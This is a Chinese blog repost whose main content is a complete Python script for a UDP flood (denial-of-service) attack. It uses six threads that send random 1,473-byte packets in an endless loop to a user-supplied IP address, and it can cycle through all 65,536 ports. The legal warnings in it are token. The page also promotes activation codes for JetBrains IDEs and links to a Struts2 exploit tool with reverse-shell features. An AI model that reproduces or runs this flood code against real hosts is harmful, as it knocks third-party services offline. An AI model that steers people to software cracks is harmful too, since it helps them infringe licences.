python实现udp_python udp报文解析

python实现udp_python udp报文解析python的udp攻击ddos攻击upd攻击主要是运用,网络套接字模块和多线程或多进程模块对一个ip不断的发送数据包,代码中都是都是自带库python可直接运行和调用。使用前请注意!!!!!!!!!!!!!!!!!!!!!未成年人请勿使用!!!!!!!!!!!!!!!!!!!请勿非法攻击任何网络!!!!!!!!!!!!!!!!!刑法里涉及计算机犯罪的在第285、286、287条,请自行查阅#coding=’utf-8’importsocket#套接字模块fromthreadingim

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

#coding='utf-8'
import socket#套接字模块
from threading import Thread#线程模块
from random import choice#使用choice创建随机字符


#使用前请注意!!!!!!!!!!!!!!!!!!!!!
#未成年人请勿使用!!!!!!!!!!!!!!!!!!!
#请勿非法攻击任何网络!!!!!!!!!!!!!!!!!
#刑法里涉及计算机犯罪的在第285、286、287条,请自行查阅

def udp_attack(ip:str,port:int,port1:int,data_packet:str):#攻击函数
    ''' 参数 ip为ip地址 port为端口号 port2为绑定端口号 bao为要发送的字符串 '''
    a=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    a.bind((socket.gethostname(),port1))
    if port==0:
        while 1:
            for i in range(65536):
                a.sendto(data_packet.encode(),(ip,i))
    else:
        while 1:
            a.sendto(data_packet.encode(),(ip,port))

        
def start_attack():#线程函数
    suiji='0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()'
    bao=''
    for i in range(1473):
        lin=choice(suiji)
        bao+=lin
    ip=str(input('请输入要攻击的ip地址\n'))
    port=int(input('请输入要攻击的端口号,为0攻击所有端口\n'))
    for i in range(6):
        try:
            nihao=Thread(target=udp_attack,args=(ip,port,8000+i,bao))#创建一个线程,i+1的意思是不重复绑定端口
            nihao.start()#开始线程
            print('线程%d准备完毕\n'%i,end='')
        except:
            print('线程出错\n',end='')
    print('所有线程发起完毕,攻击中\n',end='')


if __name__=='__main__':
    start_attack()#调用多线程函数

本人菜鸟,写的不好的地方请批评 留言。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186549.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • TIDB创建用户并授权

    TIDB创建用户并授权

    2021年5月15日
    119
  • struts2综合漏洞扫描工具

    struts2综合漏洞扫描工具python扫描工具更新2022-4-161.添加了S2-062漏洞利用其实是对S2-061漏洞的绕过支持命令执行,Linux反弹shell,windows反弹shell。2.解决了了Windows反弹shell的功能底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令不成功的问题。详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?#《使用j

    2022年7月19日
    13
  • JSONObject使用方法详解

    JSONObject使用方法详解/***项目名称:tools*项目包名:com.songfayuantools.json*创建时间:2017年7月31日上午11:58:51*创建者:Administrator-宋发元*创建地点:*/packagecom.songfayuantools.json;importcom.songfayuantools.entity.UserInfo;im

    2022年7月13日
    14
  • 图解springmvc 执行流程

    图解springmvc 执行流程核心对象DispatcherServlet核心控制器负责请求,响应,数据的分发。HandlerMapping处理器映射器,负责到controller中,找到对应的方法,返回给核心控制器。HandleAdapter处理适配器,将handle找到的方法执行,执行结果,即ModelAndView数据和视图返回给核心控制器。HttpMessageConvertor消息转换器,数据类型的转换,如日期…ViewResolver视图解析器,核心控制器调度视图解析器,视图解析器,返回视图。核心控制

    2022年6月28日
    29
  • excel 同时冻结首列和首行_word怎么一列求平均值

    excel 同时冻结首列和首行_word怎么一列求平均值之前ytkah只知道excel可以冻结首行或首列,但还不清楚如何同时冻结excel首行和首列,后面看到小C的报表,问了他才明白怎么操作。首先,我们先把选中B2单元格,点击导航菜单的“视图”-“冻

    2022年8月4日
    8
  • painless语法入门[通俗易懂]

    painless语法painless基础结构”script”:{“lang”:”…”,”source”|”id”:”…”,”params”:{…}}lang:定义脚本使用的语言,默认painlesssource,id:脚本的主体,source后面跟着内联的脚本代码,id后面跟着脚本的id,具体代码存在于脚本id对应的代码中params:定义一些变量的值,使用params可以减少脚本的编译次数.因为如果

    2022年4月18日
    452

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号